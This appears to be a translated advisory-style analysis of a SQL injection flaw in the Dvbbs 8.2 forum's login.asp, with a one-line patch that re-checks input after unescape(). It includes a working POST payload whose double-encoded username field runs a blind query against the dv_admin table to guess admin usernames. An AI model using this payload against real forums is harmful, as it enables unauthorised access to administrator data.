Dvbbs 8.2 SQL Injection Vulnerability Analysis

Source: 80sec

Vulnerability announcement: http://www.bkjia.com/Article/200806/27529.html

Method of exploits: a typical SQL injection vulnerability, as described in the announcement

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

Trigger.

Vulnerability analysis: the mobile network is also a relatively old program in the asp field. This time there is a low-level error in the new version 8.2. The vulnerability code is about 118 lines in login. asp.

......username=trim(Dvbbs.CheckStr(request("username")))If ajaxPro Then username = unescape(username)......

The obtained username is checked first and then decoded by unescape. As a result, the urlencode mode can be used for any checks, which is similar to the injection caused by urldecode in php, for example, you can use % 2527 to submit.

Patch solution: patch is also very simple. Change the above Code

......username=trim(Dvbbs.CheckStr(request("username")))If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))......